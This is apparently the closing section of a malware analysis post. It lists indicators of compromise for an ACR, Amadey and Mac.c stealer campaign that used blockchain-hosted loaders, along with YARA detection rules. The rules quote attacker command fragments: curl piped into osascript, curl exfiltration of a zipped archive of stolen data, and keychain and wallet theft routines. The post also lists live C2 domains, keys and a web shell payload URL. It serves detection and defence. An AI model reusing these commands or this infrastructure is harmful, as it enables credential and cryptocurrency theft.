​h​x​x​p​:​/​/​8​5​[​.​]​2​0​9​[​.​]​1​2​8​[​.​]​1​2​8​/​E​t​p​a​V​2​o​b​g​y​N​7​Z​Z​Q​U​/​b​l​e​n​d​e​r​[​.​]​b​i​n​ URL Full URL for the blender.bin payload specified in the ACR Stealer config.
​h​x​x​p​:​/​/​8​5​[​.​]​2​0​9​[​.​]​1​2​8​[​.​]​1​2​8​/​E​t​p​a​V​2​o​b​g​y​N​7​Z​Z​Q​U​/​/​d​i​s​c​o​r​d​[​.​]​b​i​n​ URL Full URL for the discord.bin payload specified in the ACR Stealer config.
​h​x​x​p​:​/​/​8​7​[​.​]​1​2​0​[​.​]​2​1​9​[​.​]​2​6​/​m​i​x​2​p​g​Y​C​D​b​F​4​p​d​N​Y​t​z​ URL Full URL for the PowerShell payload specified in the ACR Stealer config.
​h​x​x​p​s​:​/​/​<​r​a​n​d​o​m​_​s​u​b​d​o​m​a​i​n​>​[​.​]​b​a​5​e​q​[​.​]​r​u​/​e​f​f​c​1​6​a​5​6​2​b​2​7​3​f​0​b​b​5​c​3​e​1​e​4​1​a​0​6​a​7​7​ URL (DGA) DGA pattern used by the Stage 4.4 PowerShell downloader.
​h​x​x​p​s​:​/​/​<​r​a​n​d​o​m​_​s​u​b​d​o​m​a​i​n​>​[​.​]​b​-​1​8​a​[​.​]​r​u​/​e​f​f​c​1​6​a​5​6​2​b​2​7​3​f​0​b​b​5​c​3​e​1​e​4​1​a​0​6​a​7​7​ URL (DGA) DGA pattern used by the Stage 4.4 PowerShell downloader.
mi[.]limpingbronco[.]com Domain C2 server for the Amadey botnet payload.
hepahyy1[.]top Domain C2 server for the Go-based Discord token stealer.
congenialespresso[.]top Domain C2 server for the flawed PowerShell loader. Associated with Acreed.
​h​x​x​p​:​/​/​m​i​[​.​]​l​i​m​p​i​n​g​b​r​o​n​c​o​[​.​]​c​o​m​/​k​a​W​t​2​Q​X​f​p​P​u​e​N​M​/​i​n​d​e​x​[​.​]​p​h​p​ URL Full C2 endpoint for the Amadey botnet payload.
hxxps://hepahyy1[.]top/dst[.]php URL Exfiltration endpoint for the Go-based Discord token stealer.
​h​x​x​p​s​:​/​/​c​o​n​g​e​n​i​a​l​e​s​p​r​e​s​s​o​[​.​]​t​o​p​/​t​7​p​n​2​g​M​7​P​b​u​V​T​Y​/​q​W​z​G​5​Y​Z​w​e​Q​m​N​k​V​[​.​]​j​p​g​ URL Download URL for the final payload in the flawed PowerShell loader.
File-Based Indicators
​f​7​5​b​c​5​7​8​2​6​9​b​2​2​8​6​c​7​8​a​7​1​1​a​0​c​c​9​3​2​b​a​6​b​5​7​e​1​e​2​6​4​2​b​8​8​3​8​4​7​4​0​0​c​4​4​c​8​b​b​5​7​f​5​ SHA256 PureCrypter loader, executed by the Stage 4.5 PowerShell script on Windows.
​d​b​e​a​3​9​2​d​c​e​a​2​2​a​a​c​4​4​9​6​0​6​6​c​5​d​0​f​3​b​f​3​2​8​c​f​5​3​c​5​5​0​0​d​9​d​5​8​9​e​0​8​4​1​9​3​0​8​5​c​6​2​3​c​ SHA256 The malicious ZIP archive containing the trojanized Ledger Live application for macOS.
​3​e​a​d​c​0​d​0​8​e​4​6​d​a​5​8​3​e​c​d​8​2​b​4​3​1​3​4​1​c​d​6​5​c​8​b​4​5​0​a​a​0​b​4​2​6​c​7​a​3​0​6​2​8​3​1​f​0​f​1​a​d​7​4​ SHA256 The main executable of the trojanized Ledger Live application for macOS.
​9​2​4​f​5​e​1​7​9​b​f​9​8​3​b​b​f​9​1​8​6​e​4​e​b​6​d​f​a​6​8​3​9​0​6​b​c​a​9​e​0​8​0​b​7​6​1​8​b​5​0​5​d​f​3​e​a​5​3​0​3​7​b​9​ SHA256 Hash of blender.bin
​e​4​d​0​2​6​6​6​5​3​c​c​4​c​9​2​0​1​f​3​e​d​6​8​b​a​d​9​4​1​0​e​e​f​e​b​c​f​0​b​8​d​6​9​1​c​e​d​7​b​c​d​4​c​b​9​c​a​2​c​8​5​0​3​ SHA256 Hash of discord.bin.
​3​6​a​1​b​5​b​6​9​d​a​9​5​5​4​1​3​3​d​2​e​e​5​7​5​c​5​0​6​2​0​b​4​5​b​d​7​c​b​5​0​a​5​5​0​c​c​4​c​6​0​7​3​d​3​2​4​e​a​4​9​8​1​e​ SHA256 Hash of mix2pgYCDbF4pdNYtz
update Filename The name given to the downloaded native Mach-O dropper on macOS (App.bin).
​/​t​m​p​/​o​s​a​l​o​g​g​i​n​g​.​z​i​p​ File Path The exfiltration archive created by the Mac.c stealer payload on macOS.
serviceenj Scheduled Task Name of the scheduled task created for persistence by the Stage 4.2 VBScript on Windows.
Vgkbbtrtj.exe Filename Installation filename used by the Amadey botnet payload.
Blockchain Indicators (BSC Testnet)
​0​x​d​7​1​f​4​c​d​c​8​4​4​2​0​d​2​b​d​0​7​f​5​0​7​8​7​b​4​f​9​9​8​b​4​c​2​d​5​2​9​0​ Wallet Address The threat actor’s primary operational wallet, used to create all smart contracts in this campaign.
​0​x​A​1​d​e​c​F​B​7​5​C​8​C​0​C​A​2​8​C​1​0​5​1​7​c​e​5​6​B​7​1​0​b​a​f​7​2​7​d​2​e​ Smart Contract Stage 1 loader contract, which contains the OS detection script.
​0​x​4​6​7​9​0​e​2​A​c​7​F​3​C​A​5​a​7​D​1​b​f​C​e​3​1​2​d​1​1​E​9​1​d​2​3​3​8​3​F​f​ Smart Contract Stage 2 contract that stores the Windows-specific payload (fake reCAPTCHA).
​0​x​6​8​D​c​E​1​5​C​1​0​0​2​a​2​6​8​9​E​1​9​D​3​3​A​3​a​E​5​0​9​D​D​1​f​E​b​1​1​A​5​ Smart Contract Stage 2 contract that stores the macOS-specific payload (fake reCAPTCHA).
​0​x​f​4​a​3​2​5​8​8​b​5​0​a​5​9​a​8​2​f​b​A​1​4​8​d​4​3​6​0​8​1​A​4​8​d​8​0​8​3​2​A​ Smart Contract Victim tracking contract, used to check if a user ID has already been processed.
​0​x​f​a​4​9​1​a​3​b​b​2​1​4​5​c​3​e​6​1​C​e​2​6​3​B​0​2​9​A​b​3​8​3​5​1​A​a​2​b​a​0​ Smart Contract An additional smart contract created by the actor, purpose unconfirmed (possibly testing) but part of the infrastructure.
​0​x​7​1​0​2​e​0​5​4​3​8​3​f​e​a​e​f​8​5​0​f​b​7​2​2​0​7​0​9​f​b​6​5​c​2​1​b​9​4​d​ Wallet Address The actor’s previous operational wallet, linked via on-chain transactional analysis.
Static Configuration & Keys
​0​8​d​e​0​1​8​9​-​4​e​5​e​-​4​7​7​f​-​8​7​0​0​-​1​c​d​2​6​4​a​4​5​2​6​6​ GUID Hardcoded campaign ID for the ACR Stealer.
​7​6​4​0​F​E​D​9​8​A​5​3​8​5​6​6​4​1​7​6​3​6​8​3​1​6​3​F​4​1​2​7​B​9​F​C​0​0​F​9​A​7​8​8​7​7​3​C​0​0​E​E​1​F​2​6​3​4​C​E​C​8​2​F​ AES-256 Key (Hex) AES key used for ACR Stealer C2 communication.
852149723 XOR Key Base XOR key for C2 communication. Note: The actual key used is 10 bytes: b'852149723\\x00'.
​A​M​S​I​_​R​E​S​U​L​T​_​N​O​T​_​D​E​T​E​C​T​E​D​ XOR Key XOR key used to decode the final .NET payload (PureCrypter) from the Stage 4.5 PowerShell script.
​5​1​9​0​e​f​1​7​3​3​1​8​3​a​0​d​c​6​3​f​b​6​2​3​3​5​7​f​5​6​d​6​ API Key Hardcoded API key used by the macOS native dropper and trojanized Ledger Live app for C2 communication.
​6​1​4​4​b​5​9​e​8​a​a​5​2​2​7​d​2​c​d​5​f​9​1​4​4​f​e​8​b​8​4​7​e​e​8​c​c​e​e​e​b​1​d​7​3​b​a​9​9​d​b​e​3​3​1​8​8​1​6​2​e​f​a​b​ Build ID Hardcoded build ID used by the macOS payloads for C2 communication.
MacSync Stealer Internal Name The internal name for the macOS stealer, as found in its code. Attributed to the Mac.c family.
1.0.5_release Version String Version number found within the macOS stealer payload.
GETWELL Build Tag Build tag found within the macOS stealer payload.
Web Shell Indicators
DSH v0.1 Web Shell Name The name of the PHP web shell found on IPFS, linked via the actor’s “test” smart contract.
ShellBot 2.0 User-Agent A whitelisted User-Agent string that grants access to the DSH v0.1 web shell.
46.8.231.0/24 IP Subnet Whitelisted IP subnet for accessing the web shell.
146.103.111.0/24 IP Subnet Whitelisted IP subnet for accessing the web shell.
193.58.120.0/24 IP Subnet Whitelisted IP subnet for accessing the web shell.
​h​x​x​p​s​:​/​/​i​p​f​s​[​.​]​i​o​/​i​p​f​s​/​Q​m​Y​W​m​7​4​Q​Z​B​k​V​T​R​k​p​n​o​3​u​E​X​q​V​c​S​b​X​F​8​t​H​C​E​6​8​F​s​m​v​1​H​V​d​P​2​ URL (IPFS) The IPFS gateway link to the PHP web shell script.
hxxps://bit[.]ly/wsoExGently2 URL Shortened URL in the web shell, intended to download a second-stage payload.
​h​x​x​p​s​:​/​/​g​i​s​t​[​.​]​g​i​t​h​u​b​u​s​e​r​c​o​n​t​e​n​t​[​.​]​c​o​m​/​a​e​l​s​/​6​6​5​5​1​0​4​d​b​9​e​0​8​b​c​a​1​e​0​9​f​e​5​5​4​d​8​b​9​9​2​b​/​r​a​w​/​5​9​8​8​4​d​1​0​c​f​7​b​c​8​6​d​6​e​a​d​9​c​2​0​d​a​4​c​e​1​7​a​2​d​b​c​7​3​4​8​/​w​s​o​E​x​G​e​n​t​l​y​[​.​]​p​h​p​ URL The resolved Gist URL containing a secondary PHP payload, which is downloaded and executed by the web shell.

7 Yara Rules

7.1 Discord Stealer

rule INDICATOR_SUSPICIOUS_Go_Infostealer_Discord_Generic
{
    meta:
        description = "Detects a Go-based infostealer that targets Discord tokens by locating the 'Local State' file, decrypting the master key with DPAPI, and exfiltrating tokens."
        author = "Matthieu Gras"
        date = "2025-10-14"
        reference = "Internal analysis of decompiled code. Generic version."
        malware_family = "GoDiscordStealer"

    strings:
        $gobin = "go:buildid" ascii

        $path1 = "%s\\discord" ascii wide
        $path2 = "%s\\discordcanary" ascii wide
        $path3 = "%s\\Lightcord" ascii wide
        $path4 = "%s\\discordptb" ascii wide
        $path5 = "%s\\Local State" ascii wide
        $path6 = "%s\\Local Storage\\leveldb" ascii wide

        $winapi1 = "crypt32.dll" ascii
        $winapi2 = "CryptUnprotectData" ascii

        $exfil_format = "token=%s" ascii
        $exfil_content_type = "application/x-www-form-urlencoded" ascii

    condition:
        uint16(0) == 0x5a4d and filesize < 15MB and
        (
                3 of ($path*) and
                all of ($winapi*) and
                $exfil_format and
                $exfil_content_type and
                $gobin
        )
}

7.2 Mac.c Stealer

rule MAL_OSX_MacC_Dropper {
    meta:
        description = "Detects a macOS dropper that uses curl to download and execute an AppleScript payload via the 'osascript' command. It also prepares to exfiltrate data via a POST request."
        author = "Matthieu Gras"
        date = "2025-10-14"
        reference = "Internal analysis of Mac.c Stealer"
        malware_family = "Mac.c stealer"

    strings:
        $cmd_dl_exec1 = "curl -k -s -H \"api-key: %s\"" ascii wide
        $cmd_dl_exec2 = "| osascript" ascii wide

        $cmd_exfil1 = "-F \"file=@/tmp/osalogging.zip\"" ascii wide
        $cmd_exfil2 = "-F \"buildtxd=%s\"" ascii wide
        $cmd_exfil3 = "https://%s/gate" ascii wide

        $str_kill = "killall Terminal" ascii wide
        $str_uri = "/dynamic?txd=%s" ascii wide

    condition:
        uint32(0) == 0xfeedfacf and
        (
            (all of ($cmd_dl*)) and (1 of ($cmd_exfil*))
        ) or
        (
            (all of ($cmd_dl*)) and (1 of ($str*))
        )
}
rule MAL_OSX_MacC_Stealer_Script_v2 {
    meta:
        description = "Detects the AppleScript payload of the Mac.c infostealer. It looks for code related to stealing browser data, crypto wallets, specific files, and phishing for the user's password."
        author = "Matthieu Gras"
        date = "2025-10-14"
        reference = "Internal analysis of Mac.c Stealer"
        malware_family = "Mac.c stealer"

    strings:
        $prompt_pwd1 = "You should update the settings to launch the application." ascii wide
        $prompt_pwd2 = "with title \"System Preferences\"" ascii wide

        $func_chromium = "on chromium(writemind, chromium_map)" ascii wide
        $func_crypto = "on Cryptowallets(writemind, deskwals)" ascii wide
        $func_grabber = "on filegrabber(writemind)" ascii wide
        $str_telegram = "Telegram Desktop/tdata/" ascii wide
        $str_keychain = "login.keychain-db" ascii wide

        $path_exodus = "library & \"Exodus/\"" ascii wide
        $path_atomic = "library & \"atomic/Local Storage/leveldb/\"" ascii wide

        $cmd_zip = "ditto -c -k --sequesterRsrc" ascii wide
        $zip_file = "/tmp/osalogging.zip" ascii wide

        $trojan_ledger = "Ledger Live.app" ascii wide
        $trojan_trezor = "Trezor Suite.app" ascii wide

    condition:
        ( all of ($prompt*) and 1 of ($func*, $str_telegram, $str_keychain) ) or

        ( all of ($cmd_zip, $zip_file) and 3 of ($func_chromium, $func_crypto, $func_grabber, $str_keychain, $path_exodus, $path_atomic, $trojan_ledger, $trojan_trezor) )
}

References


Share this post on:

Previous Post
Unmasking Amadey 5